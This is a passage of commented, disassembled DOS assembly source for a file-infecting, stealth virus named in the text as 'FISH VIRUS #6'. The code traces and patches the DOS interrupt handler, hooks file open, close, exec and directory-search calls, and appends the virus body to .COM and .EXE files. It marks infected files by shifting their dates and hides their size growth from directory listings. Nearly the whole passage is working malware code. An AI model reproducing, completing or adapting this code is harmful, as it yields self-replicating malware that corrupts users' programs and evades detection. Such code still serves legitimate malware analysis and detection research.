+sub_1 endp + +data_311 db 0 + db 'COD' + +; +; SUBROUTINE +; + +sub_2 proc near + pop cs:tmp_adr ; (cs:0EEA=0) + pushf + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + jmp word ptr cs:tmp_adr ; (cs:0EEA=0) +sub_2 endp + +sub_3 proc near + pop cs:tmp_adr ; (cs:0EEA=0) + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + popf + jmp word ptr cs:tmp_adr ; (cs:0EEA=0) +sub_3 endp + + db 'SHARK' + +sub_4 proc near + mov cs:old_SP,sp ; (cs:0F57=0) + mov cs:old_SS,ss ; (cs:0F59=151Ch) + push cs + pop ss + mov sp,cs:virus_SP ; (cs:0F5B=0) + db 2Eh + call sub_3 ; Pop flags and registers + mov ss,cs:old_SS ; (cs:0F59=151Ch) + mov cs:virus_SP,sp ; (cs:0F5B=0) + mov sp,cs:old_SP ; (cs:0F57=0) + retn +sub_4 endp + + +; +; SUBROUTINE +; + +sub_5 proc near + mov cs:old_SP,sp ; (cs:0F57=0) + mov cs:old_SS,ss ; (cs:0F59=151Ch) + push cs + pop ss + mov sp,cs:virus_SP ; (cs:0F5B=0) + db 2Eh + call sub_2 ; Push flags and registers + mov ss,cs:old_SS ; (cs:0F59=151Ch) + mov cs:virus_SP,sp ; (cs:0F5B=0) + mov sp,cs:old_SP ; (cs:0F57=0) + retn +sub_5 endp + + db 08Ch + +; +; SUBROUTINE +; + +sub_6 proc near + mov si,offset data_70 ; (cs:0E4B=0) + les di,cs:INT_21_ptr ; (cs:0E35=0) Load 32 bit ptr + push cs + pop ds + cld ; Clear direction + mov cx,5 +locloop_1: lodsb ; String [si] to al + xchg al,es:[di] + mov [si-1],al + inc di + loop locloop_1 ; Loop if cx > 0 + retn +sub_6 endp + + db 'CARP' + +; +; SUBROUTINE +; + +sub_7 proc near + mov al,1 + push cs + pop ds + mov dx,offset tracer + call sub_8 ; Set INT 01 vector + retn +sub_7 endp + + +; +; SUBROUTINE +; + +sub_8 proc near + push es + push bx + xor bx,bx ; Zero register + mov es,bx + mov bl,al + shl bx,1 ; Shift w/zeros fill + shl bx,1 ; Shift w/zeros fill + mov es:[bx],dx + mov es:[bx+2],ds + pop bx + pop es + retn +sub_8 endp + + +; +; SUBROUTINE +; + +sub_9 proc near + push ds + push si + xor si,si ; Zero register + mov ds,si + xor ah,ah ; Zero register + mov si,ax + shl si,1 ; Shift w/zeros fill + shl si,1 ; Shift w/zeros fill + mov bx,[si] + mov es,[si+2] + pop si + pop ds + retn +sub_9 endp + + db 'BASS' + +virus: call sub_13 ; (03AD) + db 0B9h + call sub_25 ; (0B57) + db 08Eh + mov cs:old_AX,ax ; (cs:0EE3=0) + mov ah,52h + mov cs:virus_SP,1000h ; (cs:0F5B=0) + mov cs:old_DS,ds ; (cs:0E45=26Eh) + call sub_29 ; (0C97) + db 0EBh + int 21h ; DOS Services ah=function 52h + ; get DOS data table ptr es:bx + mov ax,es:[bx-2] ; Segment of first MCB + mov cs:data_69,ax ; (cs:0E47) + push cs + pop ds + call sub_25 ; (0B57) + db 0A1h + mov al,21h + call sub_9 ; Get INT 21 vector + mov INT_13_prt+2,es ; (cs:0E2F) - uses it as temp. ptr + mov INT_13_prt,bx ; (cs:0E2D) + mov dx,offset tracer + mov al,1 + mov byte ptr data_73,0 ; (cs:0E50) + call sub_8 ; Set INT 01 to tracer + pushf + pop ax + or ax,100h ; Set TF to trace INT 21 + push ax + popf + pushf + mov ah,61h + call dword ptr INT_13_prt ; (cs:0E2D) - trace INT 21 + pushf + pop ax + and ax,0FEFFh ; Clear TF + push ax + popf + call sub_12 ; (033B) + db 0A3h + les di,dword ptr INT_13_prt ; (cs:0E2D) Load 32 bit ptr + mov word ptr INT_21_ptr+2,es ; (cs:0E37) + mov byte ptr data_70,0EAh ; (cs:0E4B) - jmp xxxx:xxxx opcode + mov data_71,offset loc_1021 ; (cs:0E4C) + mov word ptr INT_21_ptr,di ; (cs:0E35) + mov data_72,cs ; (cs:0E4E=7DBCh) + call sub_10 ; (0180) + call sub_6 ; Swap JMP xxxx:xxxx + call sub_26 ; (0B96) + db 089h + +; +; SUBROUTINE +; + +sub_10 proc near + mov al,2Fh + call sub_9 ; Get INT 2F vector + mov bx,es + cmp cs:data_69,bx ; (cs:0E47=0) + jae loc_ret_4 ; Jump if above or = + call sub_27 ; (0BD0) + mov ds,cs:INT_13_prt+2 ; (cs:0E2F=140Bh) + push cs:INT_13_prt ; (cs:0E2D=0) + pop dx + mov al,13h + call sub_8 ; Set INT 13 vector + xor bx,bx ; Zero register + mov ds,bx + mov byte ptr ds:data_7e,2 ; (0000:0475=1) +loc_ret_4: retn +sub_10 endp + + db ' FISH VIRUS #6 - EACH DIFF - BON' + db 'N 2/90 ', 27h, '~knzyvo}', 27h, '$' +loc_4_1: + call sub_6 ; Swap JMP xxxx:xxxx + mov cs:data_72,cs ; (cs:0E4E=7DBCh) + call sub_6 ; Swap JMP xxxx:xxxx + push cs + pop ds + push ds + pop es + mov ax,old_DS ; (cs:0E45=26Eh) + mov es,ax + lds dx,dword ptr es:PSP_000A ; Load 32 bit ptr - terminate addr + mov ds,ax + add ax,10h + add word ptr cs:data_29+2,ax ; (cs:001A=0) + cmp cs:exe_flag,0 ; (cs:0020=0) + sti ; Enable interrupts + jnz loc_5 ; Jump if not zero + mov ax,cs:data_23 ; (cs:0004=0FBE9h) + mov ds:COM_beg,ax ; (026E:0100=0) + mov ax,cs:data_24 ; (cs:0006=0) + mov ds:COM_beg+2,ax ; (026E:0102=1700h) + mov ax,cs:data_26 ; (cs:0008=0) + mov ds:COM_beg+4,ax ; (026E:0104=9Ch) + push cs:old_DS ; (cs:0E45=26Eh) + xor ax,ax ; Zero register + inc ah + push ax + mov ax,cs:old_AX ; (cs:0EE3=0) + retf ; Jmp cs:100 +loc_5: + add cs:data_27,ax ; (cs:0012=0) + mov ax,cs:old_AX ; (cs:0EE3=0) + mov sp,cs:data_28 ; (cs:0014=0) + mov ss,cs:data_27 ; (cs:0012=0) + jmp cs:data_29 ; (cs:0018=0) + + db 'TROUT' + +loc_7: + xor sp,sp ; Zero register + call sub_11 ; (024F) + +; +; SUBROUTINE +; + +sub_11 proc near + mov bp,ax + mov ax,cs + mov bx,10h + mul bx ; dx:ax = reg * ax + pop cx + sub cx,24Fh + add ax,cx + adc dx,0 + div bx ; ax,dx rem=dx:ax/reg + push ax + mov ax,offset virus + push ax + mov ax,bp + retf ; Return far +sub_11 endp + +loc_9: + call sub_12 ; (033B) + db 0CDh + call sub_29 ; (0C97) + db 0CBh + push bx + mov bx,sp + mov bx,ss:[bx+6] + mov cs:data_85,bx ; (cs:0EB3=0) + pop bx + push bp + mov bp,sp + call sub_25 ; (0B57) + db 0A3h + call sub_5 ; Push all in vir's stack + call sub_6 ; Swap JMP xxxx:xxxx + call sub_4 ; Pop all from vir's stack + call sub_2 ; Push flags and registers + call sub_25 ; (0B57) + db 088h + cmp ah,0Fh + jne loc_11 ; Jump if not equal + jmp loc_32 ; (0389) + db 0B8h +loc_11: + cmp ah,11h + jne loc_12 ; Jump if not equal + jmp dos_11_12 ; (0344) + db 0A1h +loc_12: + cmp ah,12h + jne loc_13 ; Jump if not equal + jmp dos_11_12 ; (0344) + db 089h +loc_13: + cmp ah,14h + jne loc_14 ; Jump if not equal + jmp dos_14 ; (03C4) + db 0EBh +loc_14: + cmp ah,21h + jne loc_15 ; Jump if not equal + jmp dos_21 ; (03B8) + db 08Ch +loc_15: + cmp ah,23h + jne loc_16 ; Jump if not equal + jmp dos_23 ; (0451) + db 0A3h +loc_16: + cmp ah,27h + jne loc_17 ; Jump if not equal + jmp dos_27 ; (03B6) + db 0EBh +loc_17: + cmp ah,3Dh + jne loc_18 ; Jump if not equal + jmp dos_3D ; (04A5) + db 0FFh +loc_18: + cmp ah,3Eh + jne loc_19 ; Jump if not equal + jmp dos_3E ; (04E9) + db 0A1h +loc_19: + cmp ah,3Fh + jne loc_20 ; Jump if not equal + jmp dos_3F ; (0A6E) + db 088h +loc_20: + cmp ah,42h + jne loc_21 ; Jump if not equal + jmp dos_42 ; (0A3C) + db 08Ch +loc_21: + cmp ah,4Bh + jne loc_22 ; Jump if not equal + jmp dos_4B ; (051F) + db 0EBh +loc_22: + cmp ah,4Eh + jne loc_24 ; Jump if not equal + jmp dos_4E_4F ; (0B5F) + db 089h +loc_24: + cmp ah,4Fh + jne loc_25 ; Jump if not equal + jmp dos_4E_4F ; (0B5F) + db 08Eh +loc_25: + cmp ah,57h + jne loc_26 ; Jump if not equal + jmp dos_57 ; (09ED) +loc_26: + jmp loc_96 ; (0C78) + db 0EBh +loc_27: + call sub_29 ; (0C97) + db 0A1h + call sub_5 ; Push all in vir's stack + call sub_6 ; Swap JMP xxxx:xxxx + call sub_4 ; Pop all from vir's stack + mov bp,sp + push cs:data_85 ; (cs:0EB3=0) + pop word ptr [bp+6] + pop bp + iret + +; +; SUBROUTINE +; + +sub_12 proc near + inc cs:_null__ ; (cs:0E31=0) + jmp loc_91 ; (0B57) +sub_12 endp + + db 0A1h +dos_11_12: + call sub_3 ; Pop flags and registers + call sub_1 ; Call INT 21 + or al,al ; Zero ? + jnz loc_27 ; Jump if not zero + call sub_2 ; Push flags and registers + call sub_14 ; (0515) + mov al,0 + cmp byte ptr [bx],0FFh + jne loc_30 ; Jump if not equal + mov al,[bx+6] + add bx,7 +loc_30: + and cs:data_100,al ; (cs:0EF0=0) + test byte ptr [bx+1Ah],80h + jz dos_0F ; Jump if zero + sub byte ptr [bx+1Ah],0C8h + cmp byte ptr cs:data_100,0 ; (cs:0EF0=0) + jne dos_0F ; Jump if not equal + sub word ptr [bx+1Dh],0E00h + sbb word ptr [bx+1Fh],0 +dos_0F: + call sub_3 ; Pop flags and registers + jmp short loc_27 ; (0322) + + db 'FIN' + +loc_32: + call sub_3 ; Pop flags and registers + call sub_1 ; Call INT 21 + call sub_2 ; Push flags and registers + or al,al ; Zero ? + jnz dos_0F ; Jump if not zero + mov bx,dx + test byte ptr [bx+15h],80h + jz dos_0F ; Jump if zero + sub byte ptr [bx+15h],0C8h + sub word ptr [bx+10h],0E00h + sbb byte ptr [bx+12h],0 + jmp short dos_0F ; (0381) + +; +; SUBROUTINE +; + +sub_13 proc near + dec cs:_null__ ; (cs:0E31=0) + jmp loc_91 ; (0B57) +sub_13 endp + + db 0A3h +dos_27: + jcxz loc_37 ; Jump if cx=0 +dos_21: + mov bx,dx + mov si,[bx+21h] + or si,[bx+23h] + jnz loc_37 ; Jump if not zero + jmp short loc_36 ; (03CE) +dos_14: + mov bx,dx + mov ax,[bx+0Ch] + or al,[bx+20h] + jnz loc_37 ; Jump if not zero +loc_36: + call sub_18 ; Recognize .COM/.EXE file + jnc loc_38 ; Jump if carry=0 +loc_37: + jmp loc_26 ; (031E) +loc_38: + call sub_3 ; Pop flags and registers + call sub_2 ; Push flags and registers + call sub_1 ; Call INT 21 + mov [bp-8],cx + mov [bp-4],ax + push ds + push dx + call sub_14 ; (0515) + cmp word ptr [bx+14h],1 + je loc_39 ; Jump if equal + mov ax,[bx] + add ax,[bx+2] + push bx + mov bx,[bx+4] + not bx + add ax,bx + pop bx + jz loc_39 ; Jump if zero + add sp,4 + jmp dos_0F ; (0381) + + db 'MUSKY' + +loc_39: + pop dx + pop ds + mov si,dx + push cs + pop es + mov cx,25h + mov di,offset data_86 ; (cs:0EB5=0) + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + mov di,offset data_86 ; (cs:0EB5=0) + push cs + pop ds + mov dx,[di+12h] + mov ax,[di+10h] + add ax,0E0Fh + adc dx,0 + and ax,0FFF0h + mov [di+12h],dx + mov [di+10h],ax + sub ax,vir_len + vir_beg - data_28 + sbb dx,0 + mov [di+23h],dx + mov [di+21h],ax + mov cx,1Ch + mov word ptr [di+0Eh],1 + mov ah,27h ; Random block read + mov dx,di ; DS:DX -> FCB + call sub_1 ; Call INT 21 + jmp dos_0F ; (0381) +dos_23: + push cs + pop es + mov di,offset data_86 ; (cs:0EB5=0) + mov cx,25h + mov si,dx + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + push ds + push dx + push cs + pop ds + mov ah,0Fh ; Open disk file + mov dx,offset data_86 ; DS:DX -> FCB + call sub_1 ; Call INT 21 + mov ah,10h ; Close file + call sub_1 ; Call INT 21 + test byte ptr data_89,80h ; (cs:0ECA=0) + pop si + pop ds + jz loc_41 + les bx,cs:data_88 ; (cs:0EC5) Load 32 bit ptr + mov ax,es + sub bx,vir_len + sbb ax,0 + xor dx,dx + mov cx,cs:data_87 ; (cs:0EC3) + dec cx + add bx,cx + adc ax,0 + inc cx + div cx ; ax,dx rem=dx:ax/reg + mov [si+23h],ax + xchg ax,dx + xchg ax,bx + div cx ; ax,dx rem=dx:ax/reg + mov [si+21h],ax + jmp dos_0F ; (0381) +loc_41: + jmp loc_26 ; (031E) +dos_3D: + call sub_20 ; (0914) + call sub_19 ; Recognize .COM/.EXE file + jc loc_44 ; Jump if carry Set + cmp byte ptr cs:data_76,0 ; (cs:0EA2=0) + je loc_44 ; Jump if equal + call sub_21 ; (0921) + cmp bx,0FFFFh + je loc_44 ; Jump if equal + dec cs:data_76 ; (cs:0EA2=0) + push cs + pop es + mov cx,14h + mov di,offset file_name ; (cs:0E52=0) + xor ax,ax ; Zero register + repne scasw ; Rep zf=0+cx >0 Scan es:[di] for ax + mov ax,cs:data_77 ; (cs:0EA3=0) + mov es:[di-2],ax + mov es:[di+26h],bx + mov [bp-4],bx +loc_43: + and byte ptr cs:data_85,0FEh ; (cs:0EB3=0) + jmp dos_0F ; (0381) +loc_44: + jmp loc_26 ; (031E) +dos_3E: + push cs + pop es + call sub_20 ; (0914) + mov cx,14h + mov ax,cs:data_77 ; (cs:0EA3=0) + mov di,offset file_name ; (cs:0E52=0) +loc_46: + repne scasw ; Rep zf=0+cx >0 Scan es:[di] for ax + jnz loc_47 ; Jump if not zero + cmp bx,es:[di+26h] + jne loc_46 ; Jump if not equal + mov word ptr es:[di-2],0 + call sub_15 ; (0722) + inc cs:data_76 ; (cs:0EA2=0) + jmp short loc_43 ; (04DD) +loc_47: + jmp loc_26 ; (031E) + +; +; SUBROUTINE +; + +sub_14 proc near + mov ah,2Fh ; Get disk transfer area address + push es + call sub_1 ; Call INT 21 + push es + pop ds + pop es + retn +sub_14 endp + +dos_4B: + or al,al ; Zero ? + jz loc_49 ; Jump if zero + jmp loc_56 ; (067C) +loc_49: + push ds + push dx + mov word ptr cs:data_51+2,es ; (cs:0E26=7DBCh) + mov cs:data_51,bx ; (cs:0E24=0) + lds si,dword ptr cs:data_51 ; (cs:0E24=0) Load 32 bit ptr + mov cx,0Eh + mov di,offset data_101 ; (cs:0EF1=0) + push cs + pop es + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + pop si + pop ds + mov cx,50h + mov di,offset data_109 ; (cs:0F07=0) + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + mov bx,0FFFFh + call sub_3 ; Pop flags and registers + pop bp + pop cs:data_95 ; (cs:0EE6=0) + pop cs:data_96 ; (cs:0EE8=0) + pop cs:data_85 ; (cs:0EB3=0) + push cs + mov ax,4B01h + pop es + pushf + mov bx,offset data_101 + call dword ptr cs:INT_21_ptr ; (cs:0E35=0) + jnc loc_50 ; Jump if carry=0 + or cs:data_85,1 ; (cs:0EB3=0) + push cs:data_85 ; (cs:0EB3=0) + push cs:data_96 ; (cs:0EE8=0) + push cs:data_95 ; (cs:0EE6=0) + push bp + les bx,dword ptr cs:data_51 ; (cs:0E24=0) Load 32 bit ptr + mov bp,sp + jmp loc_27 ; (0322) +loc_50: + call sub_20 ; (0914) + push cs + pop es + mov cx,14h + mov di,offset file_name ; (cs:0E52=0) +loc_51: + mov ax,cs:data_77 ; (cs:0EA3=0) + repne scasw ; Rep zf=0+cx >0 Scan es:[di] for ax + jnz loc_52 ; Jump if not zero + mov word ptr es:[di-2],0 + inc cs:data_76 ; (cs:0EA2=0) + jmp short loc_51 ; (059C) +loc_52: + lds si,cs:data_107 ; (cs:0F03=0) Load 32 bit ptr + cmp si,1 + jne loc_53 ; Jump if not equal + mov dx,ds:data_6e ; (0000:001A=0F000h) + add dx,10h + mov ah,51h ; Get PSP segment in BX + call sub_1 ; Call INT 21 + add dx,bx + mov word ptr cs:data_107+2,dx ; (cs:0F05=0) + push word ptr ds:data_5e ; (0000:0018=0FF23h) + pop word ptr cs:data_107 ; (cs:0F03=0) + add bx,ds:data_3e ; (0000:0012=70h) + add bx,10h + mov cs:data_106,bx ; (cs:0F01=0) + push word ptr ds:data_4e ; (0000:0014=0FF54h) + pop cs:data_105 ; (cs:0EFF=0) + jmp loc_54 ; (0617) +loc_53: + mov ax,[si] + add ax,[si+2] + push bx + mov bx,[si+4] + not bx + add ax,bx + pop bx + jz loc_55 ; Jump if zero + push cs + pop ds + mov dx,0F07h + call sub_19 ; Recognize .COM/.EXE file + call sub_21 ; (0921) + inc cs:data_99 ; (cs:0EEF=0) + call sub_15 ; (0722) + dec cs:data_99 ; (cs:0EEF=0) +loc_54: + mov ah,51h ; Get PSP segment in BX + call sub_1 ; Call INT 21 + call sub_5 ; Push all in vir's stack + call sub_6 ; Swap JMP xxxx:xxxx + call sub_4 ; Pop all from vir's stack + mov ds,bx + mov es,bx + push cs:data_85 ; (cs:0EB3=0) + push cs:data_96 ; (cs:0EE8=0) + push cs:data_95 ; (cs:0EE6=0) + pop word ptr ds:PSP_000A ; (0000:000A=0F000h) + pop word ptr ds:PSP_000A+2 ; (0000:000C=7F6h) + push ds + mov al,22h + lds dx,dword ptr ds:PSP_000A ; (0000:000A=0F000h) Load 32 bit ptr + call sub_8 ; Set INT 22 vector + pop ds + popf + pop ax + mov sp,cs:data_105 ; (cs:0EFF=0) + mov ss,cs:data_106 ; (cs:0F01=0) + jmp dword ptr cs:data_107 ; (cs:0F03=0) + + db 'SOLE' + +loc_55: mov bx,[si+1] + mov ax,ds:[data_8e][bx+si] ; (0000:F239=7404h) + mov [si],ax + mov ax,ds:[data_8e+2][bx+si] ; (0000:F23B=7504h) + mov [si+2],ax + mov ax,ds:[data_8e+4][bx+si] ; (0000:F23D=0FF04h) + mov [si+4],ax + call sub_24 ; (0A51) + jmp short loc_54 ; (0617) +loc_56: + cmp al,1 + je loc_57 ; Jump if equal + jmp loc_26 ; (031E) +loc_57: + or cs:data_85,1 ; (cs:0EB3=0) + mov word ptr cs:data_51+2,es ; (cs:0E26=7DBCh) + mov cs:data_51,bx ; (cs:0E24=0) + call sub_3 ; Pop flags and registers + call sub_1 ; Call INT 21 + call sub_2 ; Push flags and registers + les bx,dword ptr cs:data_51 ; (cs:0E24=0) Load 32 bit ptr + lds si,dword ptr es:[bx+12h] ; Load 32 bit ptr + jc loc_60 ; Jump if carry Set + and byte ptr cs:data_85,0FEh ; (cs:0EB3=0) + cmp si,1 + je loc_58 ; Jump if equal + mov ax,[si] + add ax,[si+2] + push bx + mov bx,[si+4] + not bx + add ax,bx + pop bx + jnz loc_59 ; Jump if not zero + mov bx,[si+1] + mov ax,word ptr ds:[0F239h][bx+si] ; (cs:F239=0) + mov [si],ax + mov ax,word ptr ds:[0F23Bh][bx+si] ; (cs:F23B=0) + mov [si+2],ax + mov ax,word ptr ds:[0F23Dh][bx+si] ; (cs:F23D=0) + mov [si+4],ax + jmp short loc_59 ; (0707) +loc_58: + mov dx,word ptr data_29+2 ; (cs:001A=0) + call sub_20 ; (0914) + mov cx,cs:data_77 ; (cs:0EA3=0) + add cx,10h + add dx,cx + mov es:[bx+14h],dx + mov ax,word ptr data_29 ; (cs:0018=0) + mov es:[bx+12h],ax + mov ax,data_27 ; (cs:0012=0) + add ax,cx + mov es:[bx+10h],ax + mov ax,data_28 ; (cs:0014=0) + mov es:[bx+0Eh],ax +loc_59: + call sub_20 ; (0914) + mov ds,cs:data_77 ; (cs:0EA3=0) + mov ax,[bp+2] + mov ds:data_1e,ax ; (0000:000A=0F000h) + mov ax,[bp+4] + mov word ptr ds:data_1e+2,ax ; (0000:000C=7F6h) +loc_60: + jmp dos_0F ; (0381) + + db 'FISH' + +; +; SUBROUTINE +; + +sub_15 proc near + call sub_27 ; (0BD0) + call sub_16 ; (0804) + mov exe_flag,1 ; (cs:0020) + cmp buffer,5A4Dh ; (cs:0E00) 'MZ' + je loc_61 ; Jump if equal + cmp buffer,4D5Ah ; (cs:0E00) 'ZM' + je loc_61 ; Jump if equal + dec exe_flag ; (cs:0020) + jz loc_64 ; Jump if zero +loc_61: + mov ax,data_43 ; (cs:0E04=0) + shl cx,1 ; Shift w/zeros fill + mul cx ; dx:ax = reg * ax + add ax,200h + cmp ax,si + jb loc_63 ; Jump if below + mov ax,data_45 ; (cs:0E0A=0) + or ax,data_46 ; (cs:0E0C=0) + jz loc_63 ; Jump if zero + mov dx,file_pos1+2 ; (cs:0EAB=0) + mov cx,200h + mov ax,file_pos1 ; (cs:0EA9=0) + div cx ; ax,dx rem=dx:ax/reg + or dx,dx ; Zero ? + jz loc_62 ; Jump if zero + inc ax +loc_62: + mov data_41,dx ; (cs:0E02=0) + mov data_43,ax ; (cs:0E04=0) + cmp data_49,1 ; (cs:0E14=0) + je loc_65 ; Jump if equal + mov data_49,1 ; (cs:0E14=0) + mov ax,si + sub ax,data_44 ; (cs:0E08=0) + mov data_50,ax ; (cs:0E16=0) + add data_43,7 ; (cs:0E04=0) + mov data_48,offset buffer ; (cs:0E10=0) + mov data_47,ax ; (cs:0E0E=0) + call sub_17 ; (0866) +loc_63: + jmp short loc_65 ; (07E6) +loc_64: + cmp si,0F00h + jae loc_65 ; Jump if above or = + mov ax,buffer ; (cs:0E00=0) + mov data_23,ax ; (cs:0004=0FBE9h) + add dx,ax + mov ax,buffer+2 ; (cs:0E02=0) + mov data_24,ax ; (cs:0006=0) + add dx,ax + mov ax,buffer+4 ; (cs:0E04=0) + mov data_26,ax ; (cs:0008=0) + not ax + add dx,ax ; Calc checksum + jz loc_65 ; Infected ? + mov ax,file_attr ; (cs:0EF2=0) + and al,4 + jnz loc_65 ; Jump if not zero + mov cl,0E9h ; 'Jmp' opcode + mov ax,10h + mov byte ptr buffer,cl ; (cs:0E00=0) + mul si ; dx:ax = reg * ax + add ax,offset virus_entry - 3 + mov word ptr buffer+1,ax ; (cs:0E01=0) + mov ax,buffer ; (cs:0E00=0) + add ax,buffer+2 ; (cs:0E02=0) + neg ax + not ax + mov data_43,ax ; (cs:0E04=0) + call sub_17 ; (0866) +loc_65: + mov ah,3Eh ; Close a file with handle BX + call sub_1 ; Call INT 21 + mov cx,cs:file_attr ; (cs:0EF2) + mov ax,4301h ; Put file attributes + mov dx,cs:data_103 ; (cs:0EF4=0) + mov ds,cs:data_104 ; (cs:0EF6=7DBCh) + call sub_1 ; Call INT 21 + call sub_28 ; Restore INT 13 and INT 24 + retn +sub_15 endp + + +; +; SUBROUTINE +; + +sub_16 proc near + push cs + mov ax,5700h ; Get file's date/time + pop ds + call sub_1 ; Call INT 21 + mov data_54,cx ; (cs:0E29=0) + mov ax,4200h ; LSEEK at 0:0 + mov file_date,dx ; (cs:0E2B=0) + xor cx,cx + xor dx,dx + call sub_1 ; Call INT 21 + mov ah,3Fh ; Read from file with handle + mov dx,offset buffer + mov cl,1Ch + call sub_1 ; Call INT 21 + xor cx,cx + mov ax,4200h ; LSEEK at 0:0 + xor dx,dx + call sub_1 ; Call INT 21 + mov cl,1Ch + mov ah,3Fh ; Read from file with handle + mov dx,offset data_23 + call sub_1 ; Call INT 21 + xor cx,cx + mov ax,4202h ; LSEEK at the end + mov dx,cx + call sub_1 ; Call INT 21 + mov file_pos1+2,dx ; (cs:0EAB=0) + mov file_pos1,ax ; (cs:0EA9=0) + mov di,ax + add ax,0Fh + adc dx,0 + and ax,0FFF0h + sub di,ax + mov cx,10h + div cx ; ax,dx rem=dx:ax/reg + mov si,ax + retn +sub_16 endp + + db 'PIKE' + +; +; SUBROUTINE +; + +sub_17 proc near + xor cx,cx + mov ax,4200h ; LSEEK at 0:0 + mov dx,cx + call sub_1 ; Call INT 21 + mov cl,1Ch + mov ah,40h ; Write to file with handle + mov dx,offset buffer + call sub_1 ; Call INT 21 + mov ax,10h + mul si ; dx:ax = reg * ax + mov cx,dx + mov dx,ax + mov ax,4200h ; LSEEK at the end, paragraph alligned + call sub_1 ; Call INT 21 + mov cx,offset buffer + xor dx,dx + add cx,di + mov ah,40h ; Write to file with handle + mov byte ptr cs:data_59,1 ; (cs:0E33=0) + push bx + call sub_30 ; (0D79) INFECTION!!! + pop bx + mov cx,data_54 ; (cs:0E29=0) + mov ax,5701h ; Set file's date/time + mov dx,file_date ; (cs:0E2B=0) + test dh,80h + jnz loc_66 ; Year >= 2044 ? + add dh,0C8h ; Year += 100 +loc_66: call sub_1 ; Call INT 21 + retn +sub_17 endp + + +; +; SUBROUTINE +; + +sub_18 proc near + call sub_5 ; Push all in vir's stack + mov di,dx + add di,0Dh + push ds + pop es + jmp short loc_68 ; (08E0) + +; External Entry into Subroutine + +sub_19: + call sub_5 ; Push all in vir's stack + push ds ; DS:DX points to a file name + pop es + mov cx,50h + mov di,dx + mov bl,0 + xor ax,ax ; Zero register + cmp byte ptr [di+1],':' + jne loc_67 ; Jump if not equal + mov bl,[di] + and bl,1Fh +loc_67: + mov cs:drive_num,bl ; (cs:0E28) + repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al +loc_68: + mov ax,[di-3] + and ax,0DFDFh + add ah,al + mov al,[di-4] + and al,0DFh + add al,ah + mov cs:exe_flag,0 ; (cs:0020=0) + cmp al,0DFh + je loc_69 ; Jump if equal + inc cs:exe_flag ; (cs:0020=0) + cmp al,0E2h + jne loc_70 ; Jump if not equal +loc_69: + call sub_4 ; Pop all from vir's stack + clc ; Clear carry flag + retn + + db 'MACKEREL' + +loc_70: + call sub_4 ; Pop all from vir's stack + stc ; Set carry flag + retn +sub_18 endp + + +; +; SUBROUTINE +; + +sub_20 proc near + push bx + mov ah,51h ; Get PSP segment + call sub_1 ; Call INT 21 + mov cs:data_77,bx ; (cs:0EA3=0) + pop bx + retn +sub_20 endp + + +; +; SUBROUTINE +; + +sub_21 proc near + call sub_27 ; (0BD0) + push dx + mov ah,36h ; Get disk space + mov dl,cs:drive_num ; (cs:0E28) + call sub_1 ; Call INT 21 + mul cx ; dx:ax = reg * ax + mul bx ; dx:ax = reg * ax + mov bx,dx + pop dx + or bx,bx ; Zero ? + jnz loc_71 ; Jump if not zero + cmp ax,4000h + jb loc_72 ; Jump if below +loc_71: + mov ax,4300h ; Get file attributes + call sub_1 ; Call INT 21 + jc loc_72 + mov cs:data_103,dx ; (cs:0EF4=0) + mov cs:file_attr,cx ; (cs:0EF2) + mov cs:data_104,ds ; (cs:0EF6=7DBCh) + mov ax,4301h ; Put file attributes + xor cx,cx + call sub_1 ; Call INT 21 + cmp byte ptr cs:err_flag,0 ; (cs:0EDA=0) + jne loc_72 + mov ax,3D02h ; Open disk file with handle R/W + call sub_1 ; Call INT 21 + jc loc_72 + mov bx,ax + push bx + mov ah,32h ; Get drive parameter block + mov dl,cs:drive_num ; (cs:0E28) + call sub_1 ; Call INT 21 + mov ax,[bx+1Eh] + mov cs:data_98,ax ; (cs:0EEC=0) + pop bx + call sub_28 ; Restore INT 13 and INT 24 + retn +loc_72: + xor bx,bx ; Zero register + dec bx + call sub_28 ; Restore INT 13 and INT 24 + retn +sub_21 endp + + +; +; SUBROUTINE +; + +sub_22 proc near + push cx + push dx + push ax + mov ax,4400h ; IOCTL - get device info + call sub_1 ; Call INT 21 + xor dl,80h + test dl,80h + jz loc_73 ; Jump if zero + mov ax,5700h ; Get file's date/time + call sub_1 ; Call INT 21 + test dh,80h +loc_73: pop ax + pop dx + pop cx + retn +sub_22 endp + + +; +; SUBROUTINE +; + +sub_23 proc near + call sub_5 ; Push all in vir's stack + xor cx,cx + mov ax,4201h ; LSEEK at current position + xor dx,dx + call sub_1 ; Call INT 21 + mov cs:file_pos+2,dx ; (cs:0EA7=0) + mov cs:file_pos,ax ; (cs:0EA5=0) + mov ax,4202h ; LSEEK at the end + xor cx,cx + xor dx,dx + call sub_1 ; Call INT 21 + mov cs:file_pos1+2,dx ; (cs:0EAB=0) + mov cs:file_pos1,ax ; (cs:0EA9=0) + mov ax,4200h ; LSEEK + mov dx,cs:file_pos ; (cs:0EA5=0) + mov cx,cs:file_pos+2 ; (cs:0EA7=0) + call sub_1 ; Call INT 21 + call sub_4 ; Pop all from vir's stack + retn +sub_23 endp + + db 'FISH' + +dos_57: or al,al + jnz loc_77 ; Jump if not zero + and cs:data_85,0FFFEh ; (cs:0EB3=0) + call sub_3 ; Pop flags and registers + call sub_1 ; Call INT 21 + jc loc_76 ; Jump if carry Set + test dh,80h + jz loc_75 ; Jump if zero + sub dh,0C8h +loc_75: + jmp loc_27 ; (0322) +loc_76: + or cs:data_85,1 ; (cs:0EB3=0) + jmp loc_27 ; (0322) +loc_77: + cmp al,1 + jne loc_81 ; Jump if not equal + and cs:data_85,0FFFEh ; (cs:0EB3=0) + test dh,80h + jz loc_78 ; Jump if zero + sub dh,0C8h +loc_78: + call sub_22 ; (098E) + jz loc_79 ; Jump if zero + add dh,0C8h +loc_79: + call sub_1 ; Call INT 21 + mov [bp-4],ax + adc cs:data_85,0 ; (cs:0EB3=0) + jmp dos_0F ; (0381) +dos_42: + cmp al,2 + jne loc_81 ; Jump if not equal + call sub_22 ; (098E) + jz loc_81 ; Jump if zero + sub word ptr [bp-0Ah],0E00h + sbb word ptr [bp-8],0 +loc_81: + jmp loc_26 ; (031E) + +; +; SUBROUTINE +; + +sub_24 proc near + call sub_2 ; Push flags and registers + mov ah,2Ah + call sub_1 ; Call 